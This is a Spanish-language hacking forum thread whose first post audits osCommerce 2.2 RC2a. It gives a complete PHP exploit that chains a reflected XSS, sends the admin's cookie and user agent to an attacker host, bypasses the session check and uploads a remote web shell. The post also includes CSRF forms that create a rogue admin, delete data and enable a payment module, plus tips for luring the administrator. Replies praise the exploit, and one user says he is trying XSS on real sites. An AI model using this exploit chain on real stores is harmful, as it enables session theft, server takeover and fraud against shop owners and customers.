elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 Ir Abajo Respuesta Imprimir
Autor Tema: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a  (Leído 30,524 veces)
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
« en: 18 Junio 2009, 05:22 am »

Bueno, acabo de terminar un documento que les puede servir a varios para poder aprender lo básico de un xss, csrf y alguno que otro bypass, también por otro lado les puede servir para que piensen dos veces que instalar al momento de crear una tienda virtual.



Auditando a Oscommerce 2.2 RC2a

Link para su descarga : http://www.oscommerce.com/solutions/downloads
El presente documento está hecho con motivo de aprender de las vulnerabilidades de Oscommerce y saber como protegernos haciendo buenas elecciones al momento de buscar un sistema web que soporte una tienda online.
Oscommerce actualmente es uno de los sistemas públicos mas utilizados par crear sitios de ventas online, desafortunadamente también es uno de los mas vulnerables. Acá daré a conocer soolo algunos que yo pude encontrar. Si quieres buscar mas fallas de este sistema CMS puedes hacerlo desde acá:
http://www.google.cl/search?hl=es&q=oscommerce+vuln


XSS en múltiples secciones y Bypass al Anti-rrobo de sesiones

Para saber que significa XSS vea la sección de enlaces descriptivos que está al final de este documento.
Dentro del sistema de Administración podemos encontrar una sección donde podemos modificar banners, ahí nos encontramos con el archivo banner_manager.php:
http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1&bID=1&action=new

Acá podemos ver una clara vulnerabilidad de tipo XSS en la variable llamada "page", probemos ...
http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1'"><h1>lol&bID=1&action=new

Vemos lo siguiente:


Esto nos quiere decir que pudimos inyectar código HTML con éxito dentro del sistema WEB.
Actualmente este tipo de vulnerabilidades se cataloga como nivel medio bajo en lo que a peligrosidad se refiere tanto en Securityfocus como en Secunia, Firstit, Vupen, etc etc, pero yo les voy a demostrar que un escape de código html dentro de tu sitio web puede causar muchos riesgos.

Primero vamos a planear que hacer para poder tener las ideas mas claras.
Haremos un script en php y si el administrador lo ve desde su explorador entonces le robaremos su sesión y con eso ya podremos hacer lo que se nos antoje como por ejemplo subirle una shell.

Abrimos nuestro editor de textos y manos a la obra:
Código
  1. <?php
  2. /* Prueba de concepto para Oscommerce 2.2, Upload de Shell via XSS. Por WHK */
  3. $web_vulnerable = 'http://127.0.0.1/oscommerce/'; /* La URL de la web vulnerable */
  4. $url_shell = 'http://www.geocities.com/zkizzik/c99.txt'; /* La URL de la Shell local o remnota */
  5. $logs = md5($web_vulnerable).'_logs.txt'; /* Log donde se guardará el estado del ataque */
  6.  
  7. if(!$_GET){ /* Si no hay variables entonces procede a ... */
  8. /*
  9. Redirecciona al visitante hasta la página del oscommerce vulnerable,
  10. obiamente lo enviamos hacia una url que causará que el mismo inyecte
  11. código html en su propia web, este código html dirá que nos envie su cookie
  12. hasta este mismo script para su recepción y utilización.
  13. */
  14. /* Si la url no contiene un slash al final entonces se lo agrega */
  15. if($web_vulnerable[strlen($web_vulnerable) - 1] != '/') $web_vulnerable .= '/';
  16. logs('Redireccionando hacia el XSS');
  17. 'Location: '.
  18. $web_vulnerable.
  19. 'admin/banner_manager.php?page=1"><script src=http://'.
  20. $_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']
  21. .'?acc=js></script><br x="&bID=1&action=new'); // Redirección
  22. /* como Oscommerce agrega slashses a las comillas entonces intentaremos usar un incluye */
  23.  
  24. /* el dichoso javascript que nos robará la sesión */
  25. }elseif($_GET['acc'] == 'js'){
  26. logs('Enviando código javascript');
  27. die('
  28.  /* Script que obtiene galletas con sabor a chocolate */
  29.  document.location="http://'.
  30.  $_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].
  31. '?acc=choco&galleta=" + escape(document.cookie) + "&uag=" + '.
  32. 'escape(navigator.userAgent);
  33. ');
  34.  
  35. /* Recibe la cookie y comienza la massacre */
  36. }elseif($_GET['acc'] == 'choco'){
  37. logs('Cookie recibida Cookie='.$_GET['galleta'].'');
  38. if(!$cookie = urldecode($_GET['galleta'])){
  39.  logs('Se ha intentado enviar una cookie sin contenido');
  40.  exit; /* Si no hay cookie se detiene */
  41. }
  42.  /* Separa el host con la ruta para procesar la conexión sin CURL para mayor compatibilidad */
  43. $host = explode('/', $web_vulnerable);
  44. $host = $host[2];
  45. $url = explode('http://'.$host, $web_vulnerable);
  46. $url = $url[1].'/';
  47. // Envía la shell
  48. if(!$shell = file_get_contents($url_shell)){
  49.  logs('No se pudo obtener la shell');
  50.  exit;
  51. }
  52. $post_data =
  53. '-----------------------------66182058019796
  54. Content-Disposition: form-data; name="file_1"; filename="config.php"
  55. Content-Type: text/x-php
  56.  
  57. '.$shell.'
  58. -----------------------------66182058019796
  59. Content-Disposition: form-data; name="file_2"; filename=""
  60. Content-Type: application/octet-stream
  61.  
  62.  
  63. -----------------------------66182058019796
  64. Content-Disposition: form-data; name="file_3"; filename=""
  65. Content-Type: application/octet-stream
  66.  
  67.  
  68. -----------------------------66182058019796
  69. Content-Disposition: form-data; name="file_4"; filename=""
  70. Content-Type: application/octet-stream
  71.  
  72.  
  73. -----------------------------66182058019796
  74. Content-Disposition: form-data; name="file_5"; filename=""
  75. Content-Type: application/octet-stream
  76.  
  77. -----------------------------66182058019796
  78. Content-Disposition: form-data; name="x"
  79.  
  80. '.rand(10,19).'
  81. -----------------------------66182058019796
  82. Content-Disposition: form-data; name="y"
  83.  
  84. '.rand(10,19).'
  85. -----------------------------66182058019796--
  86.  
  87. ';
  88.  
  89. /* conexión y comprobación */
  90. if(!eregi('302', enviar_socket(
  91. 'POST '.$url.'admin/file_manager.php?action=processuploads HTTP/1.1
  92. Host: '.$host.'
  93. User-Agent: '.urldecode($_GET['uag']).'
  94. Connection: close
  95. Referer: http://'.$host.'/'.$url.'admin/file_manager.php?action=upload
  96. Cookie: '.$cookie.'
  97. Content-Type: multipart/form-data; boundary=---------------------------66182058019796
  98. Content-Length: '.(int)strlen($post_data)."\n\n".$post_data))){
  99.  logs('Error inesperado al intentar subir la shell o sistema no vulnerable');
  100.  exit;
  101. }
  102.  
  103. /* Valída el upload y verifica si terminó correctamente */
  104. if(eregi('images/icons/success.gif', enviar_socket(
  105. 'GET '.$url.'admin/file_manager.php HTTP/1.1
  106. Host: '.$host.'
  107. User-Agent: '.urldecode($_GET['uag']).'
  108. Connection: close
  109. Referer: http://'.$host.'/'.$url.'admin/file_manager.php?action=processuploads
  110. Cookie: '.$cookie."\n\n\n"))){
  111.  logs('Shell subida con éxito hacia URL='.$web_vulnerable.'config.php');
  112. }else{
  113.  logs('Error inesperado al intentar subir la shell o sistema no vulnerable');
  114.  exit;
  115. }
  116. }
  117.  
  118. function handle_socket(){
  119. global $host;
  120. if(!$handle = fsockopen($host, 80)){
  121.  logs('El servidor remoto no responde');
  122.  exit;
  123. }
  124. return $handle;
  125. }
  126.  
  127. function enviar_socket($buffer){
  128. $handle = handle_socket();
  129. fwrite($handle, $buffer);
  130.  while(!feof($handle)){
  131.  $buffer .= fgets($handle, 128);
  132. }
  133. fclose($handle);
  134. if(!$buffer){
  135.  logs('El servidor remoto no responde');
  136.  exit;
  137. }
  138. return $buffer;
  139. }
  140.  
  141. function logs($contenido){
  142. global $logs;
  143. if(file_exists($logs)) $modo = 'a'; else $modo = 'x';
  144. if(!$handle = fopen($logs, $modo)) return false;
  145. fwrite($handle, '[+] DATE['.date(DATE_RFC822).'] IP['.$_SERVER['REMOTE_ADDR'].'] LOG['.$contenido."]\x0D\x0A");
  146. fclose($handle);
  147. }
  148. ?>

Ahora, antes de explicar lo que hace cada línea les voy a decir como funciona.
Primero que nada debemos encontrar al Administrador con su sesión activa dentro del sistema y luego hacer que visualice este código WEB. Para hacerlo vamos a suponer una situación donde nos conectamos vía IRC o MSN con el Administrador y le sugerimos una configuración para poder optimizar su sitio Web como por ejemplo un dimensionado de la imagen de su banner o lo que sea, después que ya estamos seguros que está logueado le decimos que observe el tutorial donde se muestra con mas detalle y le damos la página que lo redireccionará hacia el XSS. También puedes enviarle múltiples Spam a su correo y esperar a que haga clic en una mientras está trabajando en su página. También puedes ocultar el script dentro de un iframe de 1 x 1 pixel mientras lee o ve un video ocultando la redirección.
En fin, hay muchas formas para hacer caer a alguien con tal de que vea el script que acabamos de hacer, una ves que lo haga solamente pasarán unos 2 o tres segundos y automáticamente se le subirá una shell a su propio servidor y quedará masomenos así:


Ahora si voy a explicar un poco el código para que todo mortal pueda entender que hace sin entrar mucho en el lenguaje de programación ya que los que saben está claro que ya saben como está hecho.

Para subirle la shell necesitamos primero ser Administradores, eso es normal así que primero vamos por la cookie, cuando el Administrador vea el script lo primero que se hará es redireccionarlo hacia:
http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1"><script src=http://atacante.com/demanda.php?acc=js></script><br x="&bID=1&action=new

Lo que hará es redireccionarlo hacia la Web vulnerable e inyectará esto:
Citar
"><script src=http://atacante.com/demanda.php?acc=js></script><br x="

Asi que parte del código fuente queda de esta forma:
Código
  1. <form name="new_banner" action="http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1\"><script src=http://atacante.com/demanda.php?acc=js></script><br x=\"&action=update" method="post" enctype="multipart/form-data">

De esta forma insertamos el archivo javascript dentro del código HTML sin romper su estructura y evitamos que se vea mal en caso de que algo falle.
Ahora este javascript nos ejecutará lo siguiente:
Código
  1. /* Script que obtiene galletas con sabor a chocolate */
  2. document.location="http://atacante.com/demanda.php?acc=choco&galleta=" + escape(document.cookie) + "&uag=" + escape(navigator.userAgent);

Como ahora si podemos usar comillas dobles (recordemos que Oscommerce agrega salsees como si fuera magic quotes para prevenir no se que cosa porque hasta ahora no sirve de nada) hacemos que nos redirecciones hacia mi Web atacante y envíe la cookie (recuerden que la cookie es nuestra sesión como administradores). Algunas personas podrán simplificar esto con eval y charcote haciendo la redirección saltándose el paso de la inclusión del Script (si no entendiste no importa porque no es relevante para el que no sabe mucho del tema).
¿Porqué necesitamos el User Agent? (nombre del navegador):
En Oscommerce hay un sistema de seguridad para "supuestamente" prevenir este tipo de ataques, entonces lo obtenemos y lo utilizamos en nuestro script.
Código de "supuesta" seguridad en Oscommerce (Archivo "incluyes/application_top.php" Linea 227):
Código
  1. if ($SESSION_USER_AGENT != $http_user_agent){
  2.      tep_session_destroy();
  3.      tep_redirect(tep_href_link(FILENAME_LOGIN));
  4. }

Bueno, ahora lo usamos en nuestro Script:
Código
  1. User-Agent: '.urldecode($_GET['uag']).'

Ahora que tenemos la cookie y el user agent podemos hacer lo que se nos antoje como modificar la contraseña, cambiar el correo para después recuperar el password, subir una shell, eliminar todo y poner una Web porno, modificar archivos php para capturar tarjetas de crédito con cvv2, etc etc (recuerden que esto es solo una prueba de concepto para demostrar lo que se puede llegar a hacer no para que lo pongan en práctica).

El resto del Script lo que hace es enviar el archivo de nuestra Shell de pruebas al servidor desde:
http://127.0.0.1/oscommerce/admin/file_manager.php?action=processuploads

Respetando el referer que es desde "admin/file_manager.php?action=upload" y enviamos nuestra petición POST con 5 archivos, si pones solo uno te lo rechaza, ponemos nuestra shell en el archivo 1 y los demás en blanco, ahora nos darán una redirección hacia "admin/file_manager.php" así que la visualizamos y nos valida recién el upload.
También me encontré con dos variables, una llamada "y" y "x" con un valor al azar entre 1 y 20 así que se lo agregué al script para poder reflejar una simulación lo mas igualada posible a un explorador, si se los sacas no funcionará.

Secciones donde puedes encontrarás XSS:
http://127.0.0.1/oscommerce/admin/categories.php?action=new_product_preview&read=only&pID=18&origin=stats_products_viewed.php?page=1'"><h1>test
http://127.0.0.1/oscommerce/admin/configuration.php?gID=1'"><h1>test
y en casi todas las secciones de administración donde veas una variable "page", "id", etc etc. Solo es cosa de ir probando porque si me pongo a mostrarlas todas voy a terminar este documento el año que viene.


Múltiples XSRF (Cross Site Request Forgery)

Para saber que significa XSRF vea la sección de enlaces descriptivos que está al final de este documento.
Primeramente intentaré eliminar una categoría manualmente y al hacerlo me pide una confirmación, al darle clic al botón para aceptar su eliminación me pongo a visualizar los datos que estoy enviando desde el Live Headers:


Citar
http://127.0.0.1/oscommerce/admin/categories.php?action=delete_category_confirm&cPath=

POST /oscommerce/admin/categories.php?action=delete_category_confirm&cPath= HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/oscommerce/admin/categories.php?cPath=&cID=1&action=delete_category
Cookie: osCAdminID=hfk8d6gg5n455ld7i4q20c4pf7; osCsid=pmvjahohiq09e0j2hr0rujffl0
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

categories_id=1&x=17&y=11

Acá vemos que se envía la variable categories_id diciendo que se va a eliminar pero en ningún lado vemos que nos adjunta algún tipo de dispositivo de seguridad que evite un ataque automatizado, por ejemplo un hash o cosas similares por lo tanto el ataque es tan obvio como la falla:
Código
  1. <form method="post" action="http://127.0.0.1/oscommerce/admin/categories.php?action=delete_category_confirm&cPath=">
  2. <input type=hidden name="categories_id" value="1" />
  3. </form>
  4. <script>document.getElementsByTagName("form")[0].submit();</script>

Creamos un archivo HTML que contenga esto y hacemos que el administrador lo visualize, al hacerlo estará eliminando involuntariamente la primera categoría de productos de su tienda virtual.
Esto podemos hacerlo con cualquier tipo de dato o configuración ya que en ningún caso se verifica un hash para prevenir este tipo de ataques.

Te gustaría crear un nuevo usuario con derechos de Administración?
Código
  1. <form method="post" action="http://127.0.0.1/oscommerce/admin/administrators.php?action=insert">
  2. <input type=hidden name="username" value="r00t" />
  3. <input type=hidden name="password" value="r00ted" />
  4. <input type=hidden name="x" value="16" />
  5. <input type=hidden name="y" value="13" />
  6. </form>
  7. <script>document.getElementsByTagName("form")[0].submit();</script>

Tan fácil y sencillo.

También puedes activar de forma remota tipos de pago:
http://127.0.0.1/oscommerce/admin/modules.php?set=payment&module=paypal_express&action=install

Acá activas el tipo de pago Paypal Express y tener la oportunidad de hacer compras fraudulentas si es que es un sitio de ventas en tiempo real como por ejemplo venta de softwares.
Incluso puedes adjuntarlo en una imagen o un avatar, etc:
Código
  1. <img src="http://127.0.0.1/oscommerce/admin/modules.php?set=payment&module=paypal_express&action=install" />

Otro problema de Oscommerce es que utiliza $_SERVER['PHP_SELF'] en casi todas sus secciones y este parámetro si no se sabe utilizar puede causar fallas de tipo XSS:


Si buscamos sin mucho detalle:


Tenemos 26 archivos solamente con esta vulnerabilidad.
En este caso como no necesariamente está en el sistema de Administración puede lanzarse con toda confianza un ataque al propio administrador sin preocuparse si su directorio está protegido por Apache (autentification) ya que desde el mismo javascript con XMLHTTP puedes comprobar si tienes acceso o no y evitar un pantallaza del login, incluso puedes lanzar un popup por detrás del navegador y con un javascript que constantemente verifique si el Administrador entró en el sistema o no para poder continuar con el ataque.
También puedes afectar a los usuarios y robarle sus sesiones y apoderarse de sus compras.

¿Que tal estaría poder modificar el precio de los productos?, a mi no me gustaría que me hicieran eso y no se si a alguna empresa le guste tampoco.
 

Conclusión

Oscommerce es un sistema muy útil pero llega a ser tan útil como inseguro y es una situación bastante delicada cuando se pretende cobrar dinero de forma online y tener tu propia tienda virtual.

Que sea gratuito no significa que sea malo, las vulnerabilidades las pueden cometer muchos programadores incluso los que se dedican a la venta de sistemas entre comillas. Hay muchas alternativas mejores por el mismo precio ($0) que están licenciada bajo la licencia GNU.

Una vulnerabilidad no es algo aislado que puedas ver en un foro o en un grupo de personas con tiempo libre, es algo que se toma muy en serio cuando se habla de sistemas profesionales, no creo que alguien se desgaste haciendo una bóveda del porte de una cancha de fútbol sin ponerle la cerradura a la puerta.

Muchos sitios que hablan sobre Advisories dicen que el XSS es considerado de riesgo a nivel medio (antiguamente era bajo), pues para mi puede ser tan fatal como cualquier otro así que si tienes un XSS en tu sitio Web te recomiendo que lo repares.

Puedes ahorrar una buena cantidad de dinero mensualmente evitando que tu técnico venga a reinstalar tu sitio Web porque fue penetrada y también te ahorras el dinero del auditor para corroborar si no hay indicios de rooteo que pueda comprometer al servidor en un futuro después de haber hecha la reinstalación.


Enlaces descriptivos

http://es.wikipedia.org/wiki/Cross-site_scripting
http://es.wikipedia.org/wiki/Cross_Site_Request_Forgery
http://es.wikipedia.org/wiki/Agentes_de_usuario
http://www.google.cl/search?hl=es&q=bypass+vuln
(Bypass: Descubrimiento de evasión, en este caso se trata de evadir el sistema de protección que evita un ataque.)
http://www.oscommerce.com/
http://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones-t244090.0.html
http://foro.elhacker.net/documentacion/los_poderes_secretos_de_xss_cross_site_scripting-t98324.0.html
http://www.google.cl/search?hl=es&q=xss+vuln
http://es.wikipedia.org/wiki/GPL
http://www.gnu.org/licenses/licenses.es.html


Agradecimientos

Gracias al foro de ElHacker.Net por darme la oportunidad de tener cada día mas conocimiento frente al tema de la seguridad informática y aplicarlo en el mundo laboral.
Gracias a Nakp por prestarse siempre de betatester para lo que sea aunque en esta ocasión no se pudo porque no le avisé :p
Gracias a KrackWar por su vida social (nuevamente)
Gracias a mi compadre Octalh por llevarme por el camino del conocimiento y el Software Libre XD
Gracias a mis amigos de la red: MITM, Sirdarckcat, Unika, PokasPulgas, Nano N Roses, Dementes en el espacio, CarlosWaldo (alias carlos aguado) y a todos los de la sala de Yahoo Chat "Cristianismo:1" y "Programación:1".


Att, WHK.
[email]www.kernel32@gmail.com[/email]
http://foro.elhacker.net/profiles/whk-u148268.html

Puedes publicar este documento donde tu quieras siempre y cuando no sea modificado.


Si tienen alguna duda pregunten porque nadie ha nacido sabiendo las cosas.
Descarga en formato .doc acá
« Última modificación: 18 Junio 2009, 05:28 am por WHK » En línea

Og.


Desconectado Desconectado

Mensajes: 822


Aprendiendo de la vida


Ver Perfil
Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
« Respuesta #1 en: 18 Junio 2009, 06:11 am »

como siempre...

grandioso y muy bien explicado

gracias  :D :D :D
En línea

|-
VirucKingX


Desconectado Desconectado

Mensajes: 541


VirucKingX


Ver Perfil
Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
« Respuesta #2 en: 18 Junio 2009, 06:45 am »

Te felicito WHK  ;-) , exelente información y muy bien explicado.


Chau - aguante XSS -
En línea



Bye
braulio--
Wiki

Desconectado Desconectado

Mensajes: 896


Imagen recursiva


Ver Perfil WWW
Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
« Respuesta #3 en: 18 Junio 2009, 13:38 pm »

Muy bien, me encantan este tipo de post
 ;-)
En línea

Azielito
no es
Colaborador
***
Desconectado Desconectado

Mensajes: 9.188


>.<


Ver Perfil WWW
Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
« Respuesta #4 en: 18 Junio 2009, 16:43 pm »

Se puede poner "seguridad" ante éstos ataques con algun mod de apache? (mod_security, mod_rewrite)

con mod_rewrite me imagino crear una regla
Código
  1. si en URL encuentras '<>|%'
  2. redirecciona error 403
  3. #o cualquiera
O, en algún archivo de configuración [el de conexion a bases de datos, por ejemplo] poner una función para que nos quite esos "caracteres malditos" :')
Y ahora que recuerdo, un amigo me dijo que el sistema ese requiere register_globals=on :')

Y del mod_security no puedo decir nada ya que no lo he usado :')
En línea

Jubjub


Desconectado Desconectado

Mensajes: 708


Lay Ladie lay,...


Ver Perfil WWW
Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
« Respuesta #5 en: 18 Junio 2009, 18:02 pm »

Simplemente IMPRESIONANTE.

Gran trabajo, me ha hecho ver el autentico potencial de los XSS. Gracias WHK!
En línea

Jugando con Fósforoshacking con un tono diferente


.
porno
MagnoBalt

Desconectado Desconectado

Mensajes: 58


Los Buenos Artitas Copian, los Grandes Roban


Ver Perfil
Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
« Respuesta #6 en: 18 Junio 2009, 18:36 pm »

Muy bueno WHK.. Se agradece!!
En línea

CICOLO_111234

Desconectado Desconectado

Mensajes: 200

CICOLO_111234


Ver Perfil WWW
Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
« Respuesta #7 en: 18 Junio 2009, 19:55 pm »

buen aporte, WHK
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
« Respuesta #8 en: 18 Junio 2009, 23:32 pm »

Trackeado:
http://svn.oscommerce.com/jira/browse/OSC-937

Citar
Se puede poner "seguridad" ante éstos ataques con algun mod de apache? (mod_security, mod_rewrite)

con mod_rewrite me imagino crear una regla
Código

si en URL encuentras '<>%'
redirecciona error 403
#o cualquiera

O, en algún archivo de configuración [el de conexion a bases de datos, por ejemplo] poner una función para que nos quite esos "caracteres malditos" :')
Y ahora que recuerdo, un amigo me dijo que el sistema ese requiere register_globals=on :')

Y del mod_security no puedo decir nada ya que no lo he usado :')

Tienes razón:
includes/application_top.php Linea 19
Código
  1. // check support for register_globals
  2.  if (function_exists('ini_get') && (ini_get('register_globals') == false) && (PHP_VERSION < 4.3) ) {
  3.    exit('Server Requirement Error: register_globals is disabled in your PHP configuration. This can be enabled in your php.ini configuration file or in the .htaccess file in your catalog directory. Please use PHP 4.3+ if register_globals cannot be enabled on the server.');
  4.  }

Hay un sitio web en mi pais super conocido que vende atriculos de pc que funciona bajo oscommerce, no quiero dar nombre pero está en la calle san diego  :P y utilizan mod security para evitar ataques como si fuera un ids, al intentar inyectar código javascript te detiene y dice "no aceptable", es como lo que tu quieres hacer pero lo malo es que esos metodos no son 100% efectivos, es como decir que un antivirus me va a detener todos los virus que existen, eso es falso pero si puede evitar la mayoría de los ataques. De todas formas alguien con bastante conocimiento siempre podrá evadirlo, por ejemplo ellos filtran "<script>" pero si das "<ScrIPt x=x>" no dice nada y me lo acepta, aunque no quiere decir que alguien decidido hará cosas tan básicas, talves pueda escapar con vbscript o string.charcode, etc.
Recuerda que ni si quiera sistemas como No-Script, PHPIDS y el filtro del internet exploter son perfectos y todos los dias se van actualizando, imagina si le pones algo similar a tu servidor, tendrias que tener a alguien dedicado en buscar fallas cada ves que pueda tratando de hacer mas fuerte el filtro pero aun así no sería perfecto ya que si filtras todos los tags talves el buscador deje de funcionar y si lo admites talves mas adelante salga una inyección con carácteres unicode, etc quien sabe.

La única solución que veo es reprogramarlo nuevamente y hacerlo bién para evitar problemas, usar htmlspecvialchars con ENT_QUOTES, mysql escape real string, (int), etc etc.

Un sistema con una buena programación no debería fallar de esta forma, talves smf , joomla y wordpress hayan tenido fallas también pero no todas simultaneamente jajaja.

Si irremediablemente tienes un oscommerce y no puedes desacerte de el por el momento puedes hacerle un include en el index.php hacia un nuevo script que filtre todas las variables $_GET, $_POST $_COOKIE y $_SERVER con htmlspecialchars antes de continuar, con esto evitas el xss aunque no es lo mas óptimo porque los resultados de las busquedas no serán exactas y talves los nicks con carácteres especiales se vean mal. esto no evita los CSRF ya que para eso deben integrar un token o algo que sea al azar tal como lo hacen casi todos los sistemas mas grandes.

Azielito, recuerda que no todos tienen la posibilidad de acceder al servidor e instalar cosas ya que muchos deben estar usando hostings de pago normal asi que hay que dar soluciones que todos puedan implementar.

Citar
Gran trabajo, me ha hecho ver el autentico potencial de los XSS. Gracias WHK!
Claro, la idea es poder aprender en la práctica y salir un poco de los tutos  :P , dicen que la práctica y el tiempo libre hacen al maestro  :xD

PD: http://demo.oscommerce.com/index.php/"><h1>XSS

Saludos.
« Última modificación: 18 Junio 2009, 23:34 pm por WHK » En línea

Jubjub


Desconectado Desconectado

Mensajes: 708


Lay Ladie lay,...


Ver Perfil WWW
Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
« Respuesta #9 en: 18 Junio 2009, 23:35 pm »

y el tiempo libre hacen al maestro  :xD

Ahi le has dado :P

Gracias a esto ando experimentando con XSS en algunas paginas conocidas.. y con resultados positivos, vere si soy capaz de crear algo explotable :)
En línea

Jugando con Fósforoshacking con un tono diferente


.
porno
Páginas: [1] 2 3 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Múltiples vulnerabilidades en SqliteAdmin 1.2.0
Nivel Web
WHK 1 3,621 Último mensaje 12 Julio 2009, 13:56 pm
por kamsky
[º] Exploit en osCommerce Online Merchant v2.2 RC2a
Nivel Web
CODE:NIAL 1 10,412 Último mensaje 11 Noviembre 2010, 15:31 pm
por imefisto
Múltiples vulnerabilidades en VLC 1.0.5
Noticias
wolfbcn 0 1,724 Último mensaje 28 Abril 2010, 01:21 am
por wolfbcn
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines